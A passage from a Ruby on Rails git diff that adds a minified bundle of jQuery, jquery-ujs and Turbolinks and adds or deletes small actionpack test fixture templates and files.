0===t&&(t=it.ajaxSettings&&it.ajaxSettings.traditional),it.isArray(e)||e.jquery&&!it.isPlainObject(e))it.each(e,function(){i(this.name,this.value)});else for(n in e)z(n,e[n],t,i);return r.join("&").replace(Vn,"+")},it.fn.extend({serialize:function(){return it.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=it.prop(this,"elements");return e?it.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!it(this).is(":disabled")&&Kn.test(this.nodeName)&&!Jn.test(e)&&(this.checked||!Dt.test(e))}).map(function(e,t){var n=it(this).val();return null==n?null:it.isArray(n)?it.map(n,function(e){return{name:t.name,value:e.replace(Yn,"\r\n")}}):{name:t.name,value:n.replace(Yn,"\r\n")}}).get()}}),it.ajaxSettings.xhr=void 0!==e.ActiveXObject?function(){return!this.isLocal&&/^(get|post|head|put|delete|options)$/i.test(this.type)&&X()||U()}:X;var Qn=0,Zn={},er=it.ajaxSettings.xhr();e.ActiveXObject&&it(e).on("unload",function(){for(var e in Zn)Zn[e](void 0,!0)}),nt.cors=!!er&&"withCredentials"in er,er=nt.ajax=!!er,er&&it.ajaxTransport(function(e){if(!e.crossDomain||nt.cors){var t;return{send:function(n,r){var i,o=e.xhr(),a=++Qn;if(o.open(e.type,e.url,e.async,e.username,e.password),e.xhrFields)for(i in e.xhrFields)o[i]=e.xhrFields[i];e.mimeType&&o.overrideMimeType&&o.overrideMimeType(e.mimeType),e.crossDomain||n["X-Requested-With"]||(n["X-Requested-With"]="XMLHttpRequest");for(i in n)void 0!==n[i]&&o.setRequestHeader(i,n[i]+"");o.send(e.hasContent&&e.data||null),t=function(n,i){var s,l,u;if(t&&(i||4===o.readyState))if(delete Zn[a],t=void 0,o.onreadystatechange=it.noop,i)4!==o.readyState&&o.abort();else{u={},s=o.status,"string"==typeof o.responseText&&(u.text=o.responseText);try{l=o.statusText}catch(c){l=""}s||!e.isLocal||e.crossDomain?1223===s&&(s=204):s=u.text?200:404}u&&r(s,l,u,o.getAllResponseHeaders())},e.async?4===o.readyState?setTimeout(t):o.onreadystatechange=Zn[a]=t:t()},abort:function(){t&&t(void 0,!0)}}}}),it.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(e){return it.globalEval(e),e}}}),it.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),it.ajaxTransport("script",function(e){if(e.crossDomain){var t,n=ht.head||it("head")[0]||ht.documentElement;return{send:function(r,i){t=ht.createElement("script"),t.async=!0,e.scriptCharset&&(t.charset=e.scriptCharset),t.src=e.url,t.onload=t.onreadystatechange=function(e,n){(n||!t.readyState||/loaded|complete/.test(t.readyState))&&(t.onload=t.onreadystatechange=null,t.parentNode&&t.parentNode.removeChild(t),t=null,n||i(200,"success"))},n.insertBefore(t,n.firstChild)},abort:function(){t&&t.onload(void 0,!0)}}}});var tr=[],nr=/(=)\?(?=&|$)|\?\?/;it.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=tr.pop()||it.expando+"_"+Ln++;return this[e]=!0,e}}),it.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=t.jsonp!==!1&&(nr.test(t.url)?"url":"string"==typeof t.data&&!(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&nr.test(t.data)&&"data");return s||"jsonp"===t.dataTypes[0]?(i=t.jsonpCallback=it.isFunction(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(nr,"$1"+i):t.jsonp!==!1&&(t.url+=(Hn.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||it.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,tr.push(i)),a&&it.isFunction(o)&&o(a[0]),a=o=void 0}),"script"):void 0}),it.parseHTML=function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||ht;var r=dt.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=it.buildFragment([e],t,i),i&&i.length&&it(i).remove(),it.merge([],r.childNodes))};var rr=it.fn.load;it.fn.load=function(e,t,n){if("string"!=typeof e&&rr)return rr.apply(this,arguments);var r,i,o,a=this,s=e.indexOf(" ");return s>=0&&(r=it.trim(e.slice(s,e.length)),e=e.slice(0,s)),it.isFunction(t)?(n=t,t=void 0):t&&"object"==typeof t&&(o="POST"),a.length>0&&it.ajax({url:e,type:o,dataType:"html",data:t}).done(function(e){i=arguments,a.html(r?it("<div>").append(it.parseHTML(e)).find(r):e)}).complete(n&&function(e,t){a.each(n,i||[e.responseText,t,e])}),this},it.expr.filters.animated=function(e){return it.grep(it.timers,function(t){return e===t.elem}).length};var ir=e.document.documentElement;it.offset={setOffset:function(e,t,n){var r,i,o,a,s,l,u,c=it.css(e,"position"),d=it(e),f={};"static"===c&&(e.style.position="relative"),s=d.offset(),o=it.css(e,"top"),l=it.css(e,"left"),u=("absolute"===c||"fixed"===c)&&it.inArray("auto",[o,l])>-1,u?(r=d.position(),a=r.top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(l)||0),it.isFunction(t)&&(t=t.call(e,n,s)),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):d.css(f)}},it.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){it.offset.setOffset(this,e,t)});var t,n,r={top:0,left:0},i=this[0],o=i&&i.ownerDocument;if(o)return t=o.documentElement,it.contains(t,i)?(typeof i.getBoundingClientRect!==Et&&(r=i.getBoundingClientRect()),n=V(o),{top:r.top+(n.pageYOffset||t.scrollTop)-(t.clientTop||0),left:r.left+(n.pageXOffset||t.scrollLeft)-(t.clientLeft||0)}):r},position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===it.css(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),it.nodeName(e[0],"html")||(n=e.offset()),n.top+=it.css(e[0],"borderTopWidth",!0),n.left+=it.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-it.css(r,"marginTop",!0),left:t.left-n.left-it.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){for(var e=this.offsetParent||ir;e&&!it.nodeName(e,"html")&&"static"===it.css(e,"position");)e=e.offsetParent;return e||ir})}}),it.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n=/Y/.test(t);it.fn[e]=function(r){return At(this,function(e,r,i){var o=V(e);return void 0===i?o?t in o?o[t]:o.document.documentElement[r]:e[r]:void(o?o.scrollTo(n?it(o).scrollLeft():i,n?i:it(o).scrollTop()):e[r]=i)},e,r,arguments.length,null)}}),it.each(["top","left"],function(e,t){it.cssHooks[t]=N(nt.pixelPosition,function(e,n){return n?(n=tn(e,t),rn.test(n)?it(e).position()[t]+"px":n):void 0})}),it.each({Height:"height",Width:"width"},function(e,t){it.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){it.fn[r]=function(r,i){var o=arguments.length&&(n||"boolean"!=typeof r),a=n||(r===!0||i===!0?"margin":"border");return At(this,function(t,n,r){var i;return it.isWindow(t)?t.document.documentElement["client"+e]:9===t.nodeType?(i=t.documentElement,Math.max(t.body["scroll"+e],i["scroll"+e],t.body["offset"+e],i["offset"+e],i["client"+e])):void 0===r?it.css(t,n,a):it.style(t,n,r,a)},t,o?r:void 0,o,null)}})}),it.fn.size=function(){return this.length},it.fn.andSelf=it.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return it});var or=e.jQuery,ar=e.$;return it.noConflict=function(t){return e.$===it&&(e.$=ar),t&&e.jQuery===it&&(e.jQuery=or),it},typeof t===Et&&(e.jQuery=e.$=it),it}),function(e,t){e.rails!==t&&e.error("jquery-ujs has already been loaded!");var n,r=e(document);e.rails=n={linkClickSelector:"a[data-confirm], a[data-method], a[data-remote], a[data-disable-with], a[data-disable]",buttonClickSelector:"button[data-remote], button[data-confirm]",inputChangeSelector:"select[data-remote], input[data-remote], textarea[data-remote]",formSubmitSelector:"form",formInputClickSelector:"form input[type=submit], form input[type=image], form button[type=submit], form button:not([type])",disableSelector:"input[data-disable-with]:enabled, button[data-disable-with]:enabled, textarea[data-disable-with]:enabled, input[data-disable]:enabled, button[data-disable]:enabled, textarea[data-disable]:enabled",enableSelector:"input[data-disable-with]:disabled, button[data-disable-with]:disabled, textarea[data-disable-with]:disabled, input[data-disable]:disabled, button[data-disable]:disabled, textarea[data-disable]:disabled",requiredInputSelector:"input[name][required]:not([disabled]),textarea[name][required]:not([disabled])",fileInputSelector:"input[type=file]",linkDisableSelector:"a[data-disable-with], a[data-disable]",buttonDisableSelector:"button[data-remote][data-disable-with], button[data-remote][data-disable]",CSRFProtection:function(t){var n=e('meta[name="csrf-token"]').attr("content");n&&t.setRequestHeader("X-CSRF-Token",n)},refreshCSRFTokens:function(){var t=e("meta[name=csrf-token]").attr("content"),n=e("meta[name=csrf-param]").attr("content");e('form input[name="'+n+'"]').val(t)},fire:function(t,n,r){var i=e.Event(n);return t.trigger(i,r),i.result!==!1},confirm:function(e){return confirm(e)},ajax:function(t){return e.ajax(t)},href:function(e){return e.attr("href")},handleRemote:function(r){var i,o,a,s,l,u,c,d;if(n.fire(r,"ajax:before")){if(s=r.data("cross-domain"),l=s===t?null:s,u=r.data("with-credentials")||null,c=r.data("type")||e.ajaxSettings&&e.ajaxSettings.dataType,r.is("form")){i=r.attr("method"),o=r.attr("action"),a=r.serializeArray();var f=r.data("ujs:submit-button");f&&(a.push(f),r.data("ujs:submit-button",null))}else r.is(n.inputChangeSelector)?(i=r.data("method"),o=r.data("url"),a=r.serialize(),r.data("params")&&(a=a+"&"+r.data("params"))):r.is(n.buttonClickSelector)?(i=r.data("method")||"get",o=r.data("url"),a=r.serialize(),r.data("params")&&(a=a+"&"+r.data("params"))):(i=r.data("method"),o=n.href(r),a=r.data("params")||null);return d={type:i||"GET",data:a,dataType:c,beforeSend:function(e,i){return i.dataType===t&&e.setRequestHeader("accept","*/*;q=0.5, "+i.accepts.script),n.fire(r,"ajax:beforeSend",[e,i])?void r.trigger("ajax:send",e):!1
+},success:function(e,t,n){r.trigger("ajax:success",[e,t,n])},complete:function(e,t){r.trigger("ajax:complete",[e,t])},error:function(e,t,n){r.trigger("ajax:error",[e,t,n])},crossDomain:l},u&&(d.xhrFields={withCredentials:u}),o&&(d.url=o),n.ajax(d)}return!1},handleMethod:function(r){var i=n.href(r),o=r.data("method"),a=r.attr("target"),s=e("meta[name=csrf-token]").attr("content"),l=e("meta[name=csrf-param]").attr("content"),u=e('<form method="post" action="'+i+'"></form>'),c='<input name="_method" value="'+o+'" type="hidden" />';l!==t&&s!==t&&(c+='<input name="'+l+'" value="'+s+'" type="hidden" />'),a&&u.attr("target",a),u.hide().append(c).appendTo("body"),u.submit()},formElements:function(t,n){return t.is("form")?e(t[0].elements).filter(n):t.find(n)},disableFormElements:function(t){n.formElements(t,n.disableSelector).each(function(){n.disableFormElement(e(this))})},disableFormElement:function(e){var n,r;n=e.is("button")?"html":"val",r=e.data("disable-with"),e.data("ujs:enable-with",e[n]()),r!==t&&e[n](r),e.prop("disabled",!0)},enableFormElements:function(t){n.formElements(t,n.enableSelector).each(function(){n.enableFormElement(e(this))})},enableFormElement:function(e){var t=e.is("button")?"html":"val";e.data("ujs:enable-with")&&e[t](e.data("ujs:enable-with")),e.prop("disabled",!1)},allowAction:function(e){var t,r=e.data("confirm"),i=!1;return r?(n.fire(e,"confirm")&&(i=n.confirm(r),t=n.fire(e,"confirm:complete",[i])),i&&t):!0},blankInputs:function(t,n,r){var i,o,a=e(),s=n||"input,textarea",l=t.find(s);return l.each(function(){if(i=e(this),o=i.is("input[type=checkbox],input[type=radio]")?i.is(":checked"):i.val(),!o==!r){if(i.is("input[type=radio]")&&l.filter('input[type=radio]:checked[name="'+i.attr("name")+'"]').length)return!0;a=a.add(i)}}),a.length?a:!1},nonBlankInputs:function(e,t){return n.blankInputs(e,t,!0)},stopEverything:function(t){return e(t.target).trigger("ujs:everythingStopped"),t.stopImmediatePropagation(),!1},disableElement:function(e){var r=e.data("disable-with");e.data("ujs:enable-with",e.html()),r!==t&&e.html(r),e.bind("click.railsDisable",function(e){return n.stopEverything(e)})},enableElement:function(e){e.data("ujs:enable-with")!==t&&(e.html(e.data("ujs:enable-with")),e.removeData("ujs:enable-with")),e.unbind("click.railsDisable")}},n.fire(r,"rails:attachBindings")&&(e.ajaxPrefilter(function(e,t,r){e.crossDomain||n.CSRFProtection(r)}),r.delegate(n.linkDisableSelector,"ajax:complete",function(){n.enableElement(e(this))}),r.delegate(n.buttonDisableSelector,"ajax:complete",function(){n.enableFormElement(e(this))}),r.delegate(n.linkClickSelector,"click.rails",function(r){var i=e(this),o=i.data("method"),a=i.data("params"),s=r.metaKey||r.ctrlKey;if(!n.allowAction(i))return n.stopEverything(r);if(!s&&i.is(n.linkDisableSelector)&&n.disableElement(i),i.data("remote")!==t){if(s&&(!o||"GET"===o)&&!a)return!0;var l=n.handleRemote(i);return l===!1?n.enableElement(i):l.error(function(){n.enableElement(i)}),!1}return i.data("method")?(n.handleMethod(i),!1):void 0}),r.delegate(n.buttonClickSelector,"click.rails",function(t){var r=e(this);if(!n.allowAction(r))return n.stopEverything(t);r.is(n.buttonDisableSelector)&&n.disableFormElement(r);var i=n.handleRemote(r);return i===!1?n.enableFormElement(r):i.error(function(){n.enableFormElement(r)}),!1}),r.delegate(n.inputChangeSelector,"change.rails",function(t){var r=e(this);return n.allowAction(r)?(n.handleRemote(r),!1):n.stopEverything(t)}),r.delegate(n.formSubmitSelector,"submit.rails",function(r){var i,o,a=e(this),s=a.data("remote")!==t;if(!n.allowAction(a))return n.stopEverything(r);if(a.attr("novalidate")==t&&(i=n.blankInputs(a,n.requiredInputSelector),i&&n.fire(a,"ajax:aborted:required",[i])))return n.stopEverything(r);if(s){if(o=n.nonBlankInputs(a,n.fileInputSelector)){setTimeout(function(){n.disableFormElements(a)},13);var l=n.fire(a,"ajax:aborted:file",[o]);return l||setTimeout(function(){n.enableFormElements(a)},13),l}return n.handleRemote(a),!1}setTimeout(function(){n.disableFormElements(a)},13)}),r.delegate(n.formInputClickSelector,"click.rails",function(t){var r=e(this);if(!n.allowAction(r))return n.stopEverything(t);var i=r.attr("name"),o=i?{name:i,value:r.val()}:null;r.closest("form").data("ujs:submit-button",o)}),r.delegate(n.formSubmitSelector,"ajax:send.rails",function(t){this==t.target&&n.disableFormElements(e(this))}),r.delegate(n.formSubmitSelector,"ajax:complete.rails",function(t){this==t.target&&n.enableFormElements(e(this))}),e(function(){n.refreshCSRFTokens()}))}(jQuery),function(){var e,t,n,r,i,o,a,s,l,u,c,d,f,p,h,m,g,v,y,b,x,w,T,E,k,C,N,S,j,A,D,L,H,_,q,F,M,O,R,B,P,I,W,$,z,X,U,V,G,Y=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1},J={}.hasOwnProperty,K=function(e,t){function n(){this.constructor=e}for(var r in t)J.call(t,r)&&(e[r]=t[r]);return n.prototype=t.prototype,e.prototype=new n,e.__super__=t.prototype,e},Q=[].slice;j={},d=10,$=!1,m=null,S=null,q=null,h=null,V=null,b=function(e){var t;return e=new n(e),B(),c(),F(e),$&&(t=z(e.absolute))?(x(t),w(e)):w(e,W)},z=function(e){var t;return t=j[e],t&&!t.transitionCacheDisabled?t:void 0},g=function(e){return null==e&&(e=!0),$=e},w=function(e,t){return null==t&&(t=function(){return function(){}}(this)),X("page:fetch",{url:e.absolute}),null!=V&&V.abort(),V=new XMLHttpRequest,V.open("GET",e.withoutHashForIE10compatibility(),!0),V.setRequestHeader("Accept","text/html, application/xhtml+xml, application/xml"),V.setRequestHeader("X-XHR-Referer",q),V.onload=function(){var n;return X("page:receive"),(n=H())?(f.apply(null,y(n)),M(),t(),X("page:load")):document.location.href=e.absolute},V.onloadend=function(){return V=null},V.onerror=function(){return document.location.href=e.absolute},V.send()},x=function(e){return null!=V&&V.abort(),f(e.title,e.body),_(e),X("page:restore")},c=function(){var e;return e=new n(m.url),j[e.absolute]={url:e.relative,body:document.body,title:document.title,positionY:window.pageYOffset,positionX:window.pageXOffset,cachedAt:(new Date).getTime(),transitionCacheDisabled:null!=document.querySelector("[data-no-transition-cache]")},p(d)},D=function(e){return null==e&&(e=d),/^[\d]+$/.test(e)?d=parseInt(e):void 0},p=function(e){var t,n,r,i,o,a;for(r=Object.keys(j),t=r.map(function(e){return j[e].cachedAt}).sort(function(e,t){return t-e}),a=[],i=0,o=r.length;o>i;i++)n=r[i],j[n].cachedAt<=t[e]&&(X("page:expire",j[n]),a.push(delete j[n]));return a},f=function(t,n,r,i){return document.title=t,document.documentElement.replaceChild(n,document.body),null!=r&&e.update(r),i&&v(),m=window.history.state,X("page:change"),X("page:update")},v=function(){var e,t,n,r,i,o,a,s,l,u,c,d;for(o=Array.prototype.slice.call(document.body.querySelectorAll('script:not([data-turbolinks-eval="false"])')),a=0,l=o.length;l>a;a++)if(i=o[a],""===(c=i.type)||"text/javascript"===c){for(t=document.createElement("script"),d=i.attributes,s=0,u=d.length;u>s;s++)e=d[s],t.setAttribute(e.name,e.value);t.appendChild(document.createTextNode(i.innerHTML)),r=i.parentNode,n=i.nextSibling,r.removeChild(i),r.insertBefore(t,n)}},P=function(e){return e.innerHTML=e.innerHTML.replace(/<noscript[\S\s]*?<\/noscript>/gi,""),e},F=function(e){return(e=new n(e)).absolute!==q?window.history.pushState({turbolinks:!0,url:e.absolute},"",e.absolute):void 0},M=function(){var e,t;return(e=V.getResponseHeader("X-XHR-Redirected-To"))?(e=new n(e),t=e.hasNoHash()?document.location.hash:"",window.history.replaceState(m,"",e.href+t)):void 0},B=function(){return q=document.location.href},R=function(){return window.history.replaceState({turbolinks:!0,url:document.location.href},"",document.location.href)},O=function(){return m=window.history.state},_=function(e){return window.scrollTo(e.positionX,e.positionY)},W=function(){return document.location.hash?document.location.href=document.location.href:window.scrollTo(0,0)},L=function(e){var t,n;return t=(null!=(n=document.cookie.match(new RegExp(e+"=(\\w+)")))?n[1].toUpperCase():void 0)||"",document.cookie=e+"=; expires=Thu, 01-Jan-70 00:00:01 GMT; path=/",t},X=function(e,t){var n;return n=document.createEvent("Events"),t&&(n.data=t),n.initEvent(e,!0,!0),document.dispatchEvent(n)},A=function(){return!X("page:before-change")},H=function(){var e,t,n,r,i,o;return t=function(){var e;return 400<=(e=V.status)&&600>e},o=function(){return V.getResponseHeader("Content-Type").match(/^(?:text\/html|application\/xhtml\+xml|application\/xml)(?:;|$)/)},r=function(e){var t,n,r,i,o;for(i=e.head.childNodes,o=[],n=0,r=i.length;r>n;n++)t=i[n],null!=("function"==typeof t.getAttribute?t.getAttribute("data-turbolinks-track"):void 0)&&o.push(t.getAttribute("src")||t.getAttribute("href"));return o},e=function(e){var t;return S||(S=r(document)),t=r(e),t.length!==S.length||i(t,S).length!==S.length},i=function(e,t){var n,r,i,o,a;for(e.length>t.length&&(o=[t,e],e=o[0],t=o[1]),a=[],r=0,i=e.length;i>r;r++)n=e[r],Y.call(t,n)>=0&&a.push(n);return a},!t()&&o()&&(n=h(V.responseText),n&&!e(n))?n:void 0},y=function(t){var n;return n=t.querySelector("title"),[null!=n?n.textContent:void 0,P(t.body),e.get(t).token,"runScripts"]},e={get:function(e){var t;return null==e&&(e=document),{node:t=e.querySelector('meta[name="csrf-token"]'),token:null!=t&&"function"==typeof t.getAttribute?t.getAttribute("content"):void 0}},update:function(e){var t;return t=this.get(),null!=t.token&&null!=e&&t.token!==e?t.node.setAttribute("content",e):void 0}},i=function(){var e,t,n,r,i,o;t=function(e){return(new DOMParser).parseFromString(e,"text/html")},e=function(e){var t;return t=document.implementation.createHTMLDocument(""),t.documentElement.innerHTML=e,t},n=function(e){var t;return t=document.implementation.createHTMLDocument(""),t.open("replace"),t.write(e),t.close(),t};try{if(window.DOMParser)return i=t("<html><body><p>test"),t}catch(a){return r=a,i=e("<html><body><p>test"),e}finally{if(1!==(null!=i&&null!=(o=i.body)?o.childNodes.length:void 0))return n}},n=function(){function e(t){return this.original=null!=t?t:document.location.href,this.original.constructor===e?this.original:void this._parse()}return e.prototype.withoutHash=function(){return this.href.replace(this.hash,"")},e.prototype.withoutHashForIE10compatibility=function(){return this.withoutHash()},e.prototype.hasNoHash=function(){return 0===this.hash.length},e.prototype._parse=function(){var e;return(null!=this.link?this.link:this.link=document.createElement("a")).href=this.original,e=this.link,this.href=e.href,this.protocol=e.protocol,this.host=e.host,this.hostname=e.hostname,this.port=e.port,this.pathname=e.pathname,this.search=e.search,this.hash=e.hash,this.origin=[this.protocol,"//",this.hostname].join(""),0!==this.port.length&&(this.origin+=":"+this.port),this.relative=[this.pathname,this.search,this.hash].join(""),this.absolute=this.href},e}(),r=function(e){function t(e){return this.link=e,this.link.constructor===t?this.link:(this.original=this.link.href,void t.__super__.constructor.apply(this,arguments))}return K(t,e),t.HTML_EXTENSIONS=["html"],t.allowExtensions=function(){var e,n,r,i;for(n=1<=arguments.length?Q.call(arguments,0):[],r=0,i=n.length;i>r;r++)e=n[r],t.HTML_EXTENSIONS.push(e);return t.HTML_EXTENSIONS},t.prototype.shouldIgnore=function(){return this._crossOrigin()||this._anchored()||this._nonHtml()||this._optOut()||this._target()},t.prototype._crossOrigin=function(){return this.origin!==(new n).origin},t.prototype._anchored=function(){var e;return(this.hash&&this.withoutHash())===(e=new n).withoutHash()||this.href===e.href+"#"},t.prototype._nonHtml=function(){return this.pathname.match(/\.[a-z]+$/g)&&!this.pathname.match(new RegExp("\\.(?:"+t.HTML_EXTENSIONS.join("|")+")?$","g"))},t.prototype._optOut=function(){var e,t;for(t=this.link;!e&&t!==document;)e=null!=t.getAttribute("data-no-turbolink"),t=t.parentNode;return e},t.prototype._target=function(){return 0!==this.link.target.length},t}(n),t=function(){function e(e){this.event=e,this.event.defaultPrevented||(this._extractLink(),this._validForTurbolinks()&&(A()||U(this.link.href),this.event.preventDefault()))}return e.installHandlerLast=function(t){return t.defaultPrevented?void 0:(document.removeEventListener("click",e.handle,!1),document.addEventListener("click",e.handle,!1))},e.handle=function(t){return new e(t)},e.prototype._extractLink=function(){var e;for(e=this.event.target;e.parentNode&&"A"!==e.nodeName;)e=e.parentNode;return"A"===e.nodeName&&0!==e.href.length?this.link=new r(e):void 0},e.prototype._validForTurbolinks=function(){return null!=this.link&&!(this.link.shouldIgnore()||this._nonStandardClick())},e.prototype._nonStandardClick=function(){return this.event.which>1||this.event.metaKey||this.event.ctrlKey||this.event.shiftKey||this.event.altKey},e}(),u=function(e){return setTimeout(e,500)},k=function(){return document.addEventListener("DOMContentLoaded",function(){return X("page:change"),X("page:update")},!0)},N=function(){return"undefined"!=typeof jQuery?jQuery(document).on("ajaxSuccess",function(e,t){return jQuery.trim(t.responseText)?X("page:update"):void 0}):void 0},C=function(e){var t,r;return(null!=(r=e.state)?r.turbolinks:void 0)?(t=j[new n(e.state.url).absolute])?(c(),x(t)):U(e.target.location.href):void 0},E=function(){return R(),O(),h=i(),document.addEventListener("click",t.installHandlerLast,!0),u(function(){return window.addEventListener("popstate",C,!1)})},T=void 0!==window.history.state||navigator.userAgent.match(/Firefox\/2[6|7]/),s=window.history&&window.history.pushState&&window.history.replaceState&&T,o=!navigator.userAgent.match(/CriOS\//),I="GET"===(G=L("request_method"))||""===G,l=s&&o&&I,a=document.addEventListener&&document.createEvent,a&&(k(),N()),l?(U=b,E()):U=function(e){return document.location.href=e},this.Turbolinks={visit:U,pagesCached:D,enableTransitionCache:g,allowLinkExtensions:r.allowExtensions,supported:l}}.call(this),function(){}.call(this); \ No newline at end of file
diff --git a/actionpack/test/fixtures/public/gzip/foo.zoo.gz b/actionpack/test/fixtures/public/gzip/foo.zoo.gz
new file mode 100644
index 0000000000..f62c656dc8
--- /dev/null
+++ b/actionpack/test/fixtures/public/gzip/foo.zoo.gz
Binary files differ
diff --git a/actionpack/test/fixtures/public/images/rails.png b/actionpack/test/fixtures/public/images/rails.png
deleted file mode 100644
index b8441f182e..0000000000
--- a/actionpack/test/fixtures/public/images/rails.png
+++ /dev/null
Binary files differ
diff --git a/actionpack/test/fixtures/respond_to/using_defaults_with_all.html.erb b/actionpack/test/fixtures/respond_to/using_defaults_with_all.html.erb
new file mode 100644
index 0000000000..9f1f855269
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/using_defaults_with_all.html.erb
@@ -0,0 +1 @@
+HTML!
diff --git a/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb
new file mode 100644
index 0000000000..e905d051bf
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb
@@ -0,0 +1 @@
+phablet \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb
new file mode 100644
index 0000000000..65526af8cf
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb
@@ -0,0 +1 @@
+tablet \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb b/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb
new file mode 100644
index 0000000000..cd222a4a49
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb
@@ -0,0 +1 @@
+phone \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb b/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb
new file mode 100644
index 0000000000..c86c3f3551
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb
@@ -0,0 +1 @@
+none \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb b/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb
new file mode 100644
index 0000000000..317801ad30
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb
@@ -0,0 +1 @@
+mobile \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_with/edit.html.erb b/actionpack/test/fixtures/respond_with/edit.html.erb
deleted file mode 100644
index ae82dfa4fc..0000000000
--- a/actionpack/test/fixtures/respond_with/edit.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Edit world!
diff --git a/actionpack/test/fixtures/respond_with/new.html.erb b/actionpack/test/fixtures/respond_with/new.html.erb
deleted file mode 100644
index 96c8f1b88b..0000000000
--- a/actionpack/test/fixtures/respond_with/new.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-New world!
diff --git a/actionpack/test/fixtures/respond_with/using_invalid_resource_with_template.xml.erb b/actionpack/test/fixtures/respond_with/using_invalid_resource_with_template.xml.erb
deleted file mode 100644
index bf5869ed22..0000000000
--- a/actionpack/test/fixtures/respond_with/using_invalid_resource_with_template.xml.erb
+++ /dev/null
@@ -1 +0,0 @@
-<content>I should not be displayed</content> \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_with/using_options_with_template.xml.erb b/actionpack/test/fixtures/respond_with/using_options_with_template.xml.erb
deleted file mode 100644
index b313017913..0000000000
--- a/actionpack/test/fixtures/respond_with/using_options_with_template.xml.erb
+++ /dev/null
@@ -1 +0,0 @@
-<customer-name><%= @customer.name %></customer-name> \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_with/using_resource.js.erb b/actionpack/test/fixtures/respond_with/using_resource.js.erb
deleted file mode 100644
index 4417680bce..0000000000
--- a/actionpack/test/fixtures/respond_with/using_resource.js.erb
+++ /dev/null
@@ -1 +0,0 @@
-alert("Hi"); \ No newline at end of file
diff --git a/actionpack/test/fixtures/scope/test/modgreet.erb b/actionpack/test/fixtures/scope/test/modgreet.erb
deleted file mode 100644
index 8947726e89..0000000000
--- a/actionpack/test/fixtures/scope/test/modgreet.erb
+++ /dev/null
@@ -1 +0,0 @@
-<p>Beautiful modules!</p> \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_label_with_block.erb b/actionpack/test/fixtures/test/_label_with_block.erb
deleted file mode 100644
index 40117e594e..0000000000
--- a/actionpack/test/fixtures/test/_label_with_block.erb
+++ /dev/null
@@ -1,4 +0,0 @@
-<%= label 'post', 'message' do %>
- Message
- <%= text_field 'post', 'message' %>
-<% end %>
diff --git a/actionpack/test/fixtures/公共/bar.html b/actionpack/test/fixtures/公共/bar.html
new file mode 100644
index 0000000000..67fc57079b
--- /dev/null
+++ b/actionpack/test/fixtures/公共/bar.html
@@ -0,0 +1 @@
+/bar.html \ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/bar/index.html b/actionpack/test/fixtures/公共/bar/index.html
new file mode 100644
index 0000000000..d5bb8f898d
--- /dev/null
+++ b/actionpack/test/fixtures/公共/bar/index.html
@@ -0,0 +1 @@
+/bar/index.html \ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/bar.html b/actionpack/test/fixtures/公共/foo/bar.html
new file mode 100644
index 0000000000..9a35646205
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/bar.html
@@ -0,0 +1 @@
+/foo/bar.html \ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/baz.css b/actionpack/test/fixtures/公共/foo/baz.css
new file mode 100644
